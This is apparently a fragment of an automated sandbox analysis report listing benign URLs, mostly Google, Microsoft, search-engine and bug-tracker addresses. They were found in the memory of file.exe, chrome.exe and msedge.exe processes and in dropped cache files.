Source: chrome.exe, 00000002.00000003.2171080199.000074A000FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2175341061.000074A00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2171245932.000074A00105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2171131170.000074A00100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2175696301.000074A001224000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2170512338.000074A000F94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174709140.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174630877.000074A00073C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174484138.000074A000CE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2171540815.000074A000F30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2171620701.000074A001028000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2175593367.000074A001184000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174837815.000074A000F64000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: Amcache.hve.12.dr String found in binary or memory: http://upx.sf.net
Source: chromecache_101.4.dr String found in binary or memory: http://www.broofa.com
Source: file.exe, 00000000.00000002.2638069198.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2635080836.000000001DCF1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: CBFIJEGI.0.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000002.00000003.2173047447.000074A000458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169259685.000074A000458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2175341061.000074A000458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2196361448.000074A000458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2170385900.000074A000458000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168312655.000074A000458000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000002.00000003.2190671721.000074A000338000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000002.00000003.2190671721.000074A000338000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chromecache_105.4.dr String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_105.4.dr String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000002.00000003.2169050060.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2168493012.000074A00038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169074685.000074A000C38000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2284963904.000025A802580000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000002.00000003.2194888606.000074A00145C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2193686495.000074A001570000.00000004.00000800.00020000.00000000.sdmp, chromecache_101.4.dr, chromecache_105.4.dr String found in binary or memory: https://apis.google.com
Source: msedge.exe, 00000006.00000002.2294905111.000001DA8578E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://arc.msn.com
Source: CBFIJEGI.0.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2621902463.000000000183D000.00000004.00000020.00020000.00000000.sdmp, CBFIJEGI.0.dr String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2621902463.000000000183D000.00000004.00000020.00020000.00000000.sdmp, CBFIJEGI.0.dr String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000002.00000003.2174170338.000074A000338000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2296453358.000025A802394000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000002.00000003.2169620207.000074A000338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174343079.000074A000E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2172071093.000074A000E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169116053.000074A000CE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2182209896.000074A000D00000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169139393.000074A000E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169638118.000074A000CF8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2174170338.000074A000338000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000002.00000003.2161535641.000033AC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2161412463.000033AC0071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000002.00000003.2161535641.000033AC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2161412463.000033AC0071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000002.00000003.2161535641.000033AC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2161412463.000033AC0071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: msedge.exe, 00000006.00000002.2296453358.000025A802394000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000002.00000003.2158022276.000069B4002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2158007663.000069B4002D8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000002.2295750012.000025A80220C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chromecache_105.4.dr String found in binary or memory: https://clients6.google.com
Source: chromecache_105.4.dr String found in binary or memory: https://content.googleapis.com
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000002.00000003.2263672100.000074A0012B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2206788630.000074A0012B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000003.2206788630.000074A0012B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: file.exe, file.exe, 00000000.00000002.2638232531.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2061177373.00000000055BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2620837940.0000000000B8C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_105.4.dr String found in binary or memory: https://domains.google.com/suggest/flow
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000002.00000003.2175593367.000074A001184000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000002.00000003.2164946017.000074A0004E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000002.2621902463.000000000183D000.00000004.00000020.00020000.00000000.sdmp, CBFIJEGI.0.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CBFIJEGI.0.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.2621902463.000000000183D000.00000004.00000020.00020000.00000000.sdmp, CBFIJEGI.0.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_101.4.dr String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_101.4.dr String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_101.4.dr String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_101.4.dr String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2161535641.000033AC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2161412463.000033AC0071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/C
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/F
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/I
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/L
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/M
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/N
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/P
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/S
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/V
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/W
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/X
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/_
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/g
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/i
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/j
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/l
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/q
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/s
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/~
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2161535641.000033AC00728000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2161412463.000033AC0071C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/Enabled_Consent_HoldbackControl_limited_Stable_2024
Source: chrome.exe, 00000002.00000003.2209677688.000074A00194C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2209715095.000074A001950000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: msedge.exe, 00000006.00000002.2296864426.000025A8025AC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000002.00000003.2206321102.000074A00180C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000006.00000003.2286016994.000025A80256C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://issuetracker.google.com/253522366
